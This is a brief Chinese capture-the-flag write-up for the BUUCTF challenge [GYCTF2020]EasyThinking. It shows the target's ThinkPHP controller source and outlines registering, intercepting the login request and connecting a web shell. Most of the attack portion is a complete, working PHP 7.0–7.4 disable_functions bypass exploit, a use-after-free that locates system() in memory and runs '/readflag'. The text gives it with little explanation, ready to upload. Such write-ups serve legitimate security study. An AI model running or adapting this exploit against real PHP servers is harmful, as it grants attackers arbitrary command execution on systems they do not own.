143，【3】buuctfweb[GYCTF2020]EasyThinking

进入靶场

一开始那个题目名字就想到了框架

扫描目录

访问后自动下载了

找源码

<?php namespace app\home\controller; use think\exception\ValidateException; use think\facade\Db; use think\facade\View; use app\common\model\User; use think\facade\Request; use app\common\controller\Auth; class Member extends Base { public function index() { if (session("?UID")) { $data = ["uid" => session("UID")]; $record = session("Record"); $recordArr = explode(",", $record); $username = Db::name("user")->where($data)->value("username"); return View::fetch('member/index',["username" => $username,"record_list" => $recordArr]); } return view('member/index',["username" => "Are you Login?","record_list" => ""]); } public function login() { if (Request::isPost()){ $username = input("username"); $password = md5(input("password")); $data["username"] = $username; $data["password"] = $password; $userId = Db::name("user")->where($data)->value("uid"); $userStatus = Db::name("user")->where($data)->value("status"); if ($userStatus == 1){ return "<script>alert(\"该用户已被禁用，无法登陆\");history.go(-1)</script>"; } if ($userId){ session("UID",$userId); return redirect("/home/member/index"); } return "<script>alert(\"用户名或密码错误\");history.go(-1)</script>"; }else{ return view('login'); } } public function register() { if (Request::isPost()){ $data = input("post."); if (!(new Auth)->validRegister($data)){ return "<script>alert(\"当前用户名已注册\");history.go(-1)</script>"; } $data["password"] = md5($data["password"]); $data["status"] = 0; $res = User::create($data); if ($res){ return redirect('/home/member/login'); } return "<script>alert(\"注册失败\");history.go(-1)</script>"; }else{ return View("register"); } } public function logout() { session("UID",NULL); return "<script>location.href='/home/member/login'</script>"; } public function updateUser() { $data = input("post."); $update = Db::name("user")->where("uid",session("UID"))->update($data); if($update){ return json(["code" => 1, "msg" => "修改成功"]); } return json(["code" => 0, "msg" => "修改失败"]); } public function rePassword() { $oldPassword = input("oldPassword"); $password = input("password"); $where["uid"] = session("UID"); $where["password"] = md5($oldPassword); $res = Db::name("user")->where($where)->find(); if ($res){ $rePassword = User::update(["password" => md5($password)],["uid"=> session("UID")]); if ($rePassword){ return json(["code" => 1, "msg" => "修改成功"]); } return json(["code" => 0, "msg" => "修改失败"]); } return json(["code" => 0, "msg" => "原密码错误"]); } public function search() { if (Request::isPost()){ if (!session('?UID')) { return redirect('/home/member/login'); } $data = input("post."); $record = session("Record"); if (!session("Record")) { session("Record",$data["key"]); } else { $recordArr = explode(",",$record); $recordLen = sizeof($recordArr); if ($recordLen >= 3){ array_shift($recordArr); session("Record",implode(",",$recordArr) . "," . $data["key"]); return View::fetch("result",["res" => "There's nothing here"]); } } session("Record",$record . "," . $data["key"]); return View::fetch("result",["res" => "There's nothing here"]); }else{ return View("search"); } } }

这道一点都不会做，一头雾水，看wp

[GYCTF2020]EasyThinking Thinkphp6.0任意文件操作漏洞 绕过disable_function_thinkphp v6.0.7漏洞-CSDN博客

 先注册再登陆

注册后登陆时抓包

访问

 

 用蚁剑连接就行

<?php # PHP 7.0-7.4 disable_functions bypass PoC (*nix only) pwn("/readflag"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg = str_shuffle(str_repeat('A', 79)); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(str_repeat('A', 79)); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); } ?>

上传这个脚本，再访问这个文件就能得到flag